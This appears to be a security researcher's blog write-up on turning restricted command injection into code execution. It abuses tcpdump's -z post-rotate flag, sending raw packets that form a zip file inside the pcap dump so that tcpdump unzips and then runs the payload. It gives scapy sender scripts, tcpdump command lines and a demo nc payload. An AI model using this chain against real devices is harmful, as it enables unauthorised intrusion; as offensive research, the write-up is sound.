Abusing tcpdump and zips for command injection

Shout out to Matin Gholami who helped me develop this

Bring your own binary - Thriving of the land

While exploiting an OT device I was faced with the possibility of command injection where I could only control some parts of the commandline. The commands that were possible to execute were hardcoded in the firmware. Further, all important chars for usual command injection were being filtered out.

The possible commands where:

Analyzing the backend code, the arguments, passed via the API, are being being checked for dangerous shell characters and then embedded in a command line and passed to the shell.

The dangerous shell characters were being filtered out pretty effectively, with me not being able to find a bypass. So we were limited to those 4 commands and their officially supported arguments.

The first action, of course, is checking https://gtfobins.org/. ping, traceroute and nslookup offer no possibility. But tcpdump lists 2 possible exploits. command and File write.

Checking the listing on tcpdump we can trigger a file write by using the -w flag, which dumps the captured packets to a file. The command execution, the -z flag, works with the same concept, with the addition of executing a command to which the dump file is passed when a specific rotation condition occurs. tcpdump offers -C and -G, with -C setting a maximum filesize for the dump file and -G a rotatetime in seconds.

To warn you not to make the same mistake as me: check your targets tcpdump binary before setting up this whole chain, so you don’t waste a lot of time when it turns out that the binary isn’t even compiled with the -z flag…

But since I spent the time setting up this chain anyway you now have to listen to me ramble about it.

To check the binary for support of the post-rotate command support I used qemu to run the armhf binary on my host system to check the available flags. It doesn’t support this option, but I figured this is an interesting trick and developed it anyway.

The setup

How can we execute a command with tpdump?

  1. Specify a command we want to execute in the -z flag
  2. Set the dump file via the -w flag
  3. Set a rotate condition with -C or -G

Problems:

  1. Ideally we would get a reverse shell on the target. There are a few options to do that, of course, but we have one important limitation:
  2. The dump file, specified via the -w flag, is passed to the post-rotate command. It is the only argument we can pass to the post-rotate command. Checking the source code for tcpdump we can see that the filename (dump file) is directly passed to the post-rotate command in argv[1]. So we have no way to pass more than one argument.
// tcpdump.c:3225
if (execlp(zflag, zflag, filename, (char *)NULL) == -1)
        fprintf(stderr,
            "%s: execlp(%s, %s) failed: %s\n",
            __func__, zflag, filename, pcap_strerror(errno));
  1. We need to specify a condition after which the dump file is rotated and passed to the post-rotate command.

So basically we have command injection, but only with binaries already on the system, which very likely, won’t be able to establish a reverse shell with only one argument.

So what if we bring our own binary?

tcpdump will happily write the data it caputres into the specified dump file. We can control the packets it will receive. So why don’t we just take a binary and send it to the interface for tcpdump to capture?

Sending the payload

So, let’s send a TCP packet and see what arrives in the file.

# demo.py
from scapy.all import *

def main():
    packet = Ether() / IP(dst="localhost") / TCP(dport=8001) / Raw(load=b"payload")
    
    sendp(packet, iface="eth0")

if __name__ == "__main__":
    main()

Start tcpdump:

sudo tcpdump -ln -i eth0 -w /tmp/pwn.zip 

Send the packet:

sudo python demo.py

And after stopping tcpdump, let’s check the dump file:

xxd /tmp/pwn.zip
00000000: d4c3 b2a1 0200 0400 0000 0000 0000 0000  ................
00000010: 0000 0400 0100 0000 8d53 aa6a 5836 0700  .........S.jX6..
00000020: 3d00 0000 3d00 0000 ffff ffff ffff 0000  =...=...........
00000030: 0000 0000 0800 4500 002f 0001 0000 4006  ......E../....@.
00000040: 7cc6 7f00 0001 7f00 0001 0014 1f41 0000  |............A..
00000050: 0000 0000 0000 5002 2000 b554 0000 7061  ......P. ..T..pa
00000060: 796c 6f61 64                             yload

As we can see, there is a lot of extra stuff in there.

First is the file header of the pcap file, as tcpdump is writing a pcap file.

                           1                   2                   3
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    0 |                          Magic Number                         |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    4 |         Major Version         |         Minor Version         |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    8 |                           Reserved1                           |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   12 |                           Reserved2                           |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   16 |                            SnapLen                            |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   20 |               LinkType and additional information             |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

After that is our standard TCP packet, as we can see in wireshark:

But if we want to send our binary we can’t have some random shit between our actual binary. So what if we control the entire packet and just send it to the interface tcpdump is listening on?

from scapy.all import *

def main():
    packet = Raw(load=b"payload")
    
    sendp(packet, iface="eth0")

if __name__ == "__main__":
    main()

Using this python script we get the following dumpfile:

00000000: d4c3 b2a1 0200 0400 0000 0000 0000 0000  ................
00000010: 0000 0400 0100 0000 7555 aa6a 4703 0500  ........uU.jG...
00000020: 3c00 0000 3c00 0000 7061 796c 6f61 6400  <...<...payload.
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000                                ....

This looks a lot more promising. We control the entire packet, which is basically exclusively garbage as a network packet, and tcpdump still receives and logs it just fine.

But if we now took our payload and send it, we still couldn’t execute it, as the beginning of the file is neither a valid ELF binary nor a shell script. And we can’t really get rid of the file header, as that is entirely controlled by tcpdump.

If only we could read the file backwards, as there we can control everything…

But wait, zip files are read backwards!

Going backwards

Let’s create our payload

# ./pwn.sh
#!/bin/bash

echo "hello from tcpdump" | nc 127.0.0.1 8000

And make it a zip file:

chmod +x pwn.sh
zip -0 pwn.zip pwn.sh

And make our python script send that as the payload:

# demo.py
from scapy.all import *

packet_size = 1500

def main():
    with open("./pwn.zip", "rb") as f:
        contents = f.read()

        parts = math.ceil(len(contents) / packet_size)

        for i in range(0, parts):
            print(f"{i}/{parts} payload packets", end="\r")

            if i < parts:
                packet = Raw(load=contents[i * packet_size:(i * packet_size) + packet_size])
            else:
                packet = Raw(load=contents[i * packet_size:])

            sendp(packet, iface="eth0", verbose=False)

        print("Done!")

if __name__ == "__main__":
    main()

Receiving this with tcpdump gives us this:

00000000: d4c3 b2a1 0200 0400 0000 0000 0000 0000  ................
00000010: 0000 0400 0100 0000 6359 aa6a 6f41 0c00  ........cY.joA..
00000020: d800 0000 d800 0000 504b 0304 0a00 0000  ........PK......
00000030: 0000 f855 305d 240f 659e 3600 0000 3600  ...U0]$.e.6...6.
00000040: 0000 0600 1c00 7077 6e2e 7368 5554 0900  ......pwn.shUT..
00000050: 03b3 57aa 6ac7 57aa 6a75 780b 0001 04e8  ..W.j.W.jux.....
00000060: 0300 0004 ea03 0000 2321 2f62 696e 2f62  ........#!/bin/b
00000070: 6173 680a 0a65 6368 6f20 2268 656c 6c6f  ash..echo "hello
00000080: 2074 6370 6475 6d70 2220 7c20 6e63 2031   tcpdump" | nc 1
00000090: 3237 2e30 2e30 2e31 2038 3030 300a 504b  27.0.0.1 8000.PK
000000a0: 0102 1e03 0a00 0000 0000 f855 305d 240f  ...........U0]$.
000000b0: 659e 3600 0000 3600 0000 0600 1800 0000  e.6...6.........
000000c0: 0000 0000 0000 ed81 0000 0000 7077 6e2e  ............pwn.
000000d0: 7368 5554 0500 03b3 57aa 6a75 780b 0001  shUT....W.jux...
000000e0: 04e8 0300 0004 ea03 0000 504b 0506 0000  ..........PK....
000000f0: 0000 0100 0100 4c00 0000 7600 0000 0000  ......L...v.....

As we can see, there is a valid zip file in there. Let’s confirm with unzip

$ unzip -l /tmp/pwn.zip
Archive:  /tmp/pwn.zip
warning [/tmp/pwn.zip]:  40 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  Length      Date    Time    Name
---------  ---------- -----   ----
       54  2026-09-16 10:47   pwn.sh
---------                     -------
       54                     1 file

While it complains that there are extra bytes at the beginning it is still a valid zip file.

Execution

So all that is left is actually unpacking the payload and executing it. We will do this in 2 steps:

Unpacking the zip

Now we need the rotate conditions in tcpdump. We will use the -G, meaning the rotate timeout, as that is easier to manage than hitting a exact size of the dump file. Keep in mind you might have to adjust the timeout when sending bigger payloads.

sudo tcpdump -ln -i eth0 -w /tmp/pwn.zip -W 1 -G 5 -z unzip

We tell tcpdump to listen on interface eth0, write the dump file to /tmp/pwn.zip, keep exactly one dump file, rotate it out after 5 seconds and execute unzip as the post-rotate command.

We still need to update our python script to trigger a flush, meaning sending a packet after the timeout time, so that the previous packets get rotated out.

# demo.py
from scapy.all import *

packet_size = 1500

def main():
    with open("./pwn.zip", "rb") as f:
        contents = f.read()

        parts = math.ceil(len(contents) / packet_size)

        for i in range(0, parts):
            print(f"{i}/{parts} payload packets", end="\r")

            if i < parts:
                packet = Raw(load=contents[i * packet_size:(i * packet_size) + packet_size])
            else:
                packet = Raw(load=contents[i * packet_size:])

            sendp(packet, iface="eth0", verbose=False)

        print("Sent payload, waiting 5s to flush...")
        
        time.sleep(5)
        
        sendp(Raw(load=b"flush"), iface="eth0", verbose=False)

        print("Done!")

if __name__ == "__main__":
    main()

Let’s try this!

$ ls /tmp/test
total 0

We have an empty directory. In that directory we start tcpdump

$ sudo tcpdump -ln -i eth0 -w /tmp/pwn.zip -W 1 -G 5 -z unzip
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
2 packets captured
2 packets received by filter
0 packets dropped by kernel
$ ls /tmp/test
total 4.0K
-rwxr-xr-x 1 root root 54 Sep 16 10:47 pwn.sh

Well well well, see who’s there. And, because we set the execute permission before packing it into a zip, it keeps the execute bit.

Executing the payload

For that we can use the same mechanism, but instead of specifying unzip as the post-rotate command we can just use our payload.

$ sudo tcpdump -ln -i eth0 -w /tmp/pwn.zip -W 1 -G 5 -z /tmp/test/pwn.sh
$ nc -lkp 8000
hello from tcpdump

Conclusion

By combining the tcpdump post-rotate command with custom crafted network packets and zip we can deliver and execute our own binary. This can be abused in command injections where commands and arguments might be limited by the target.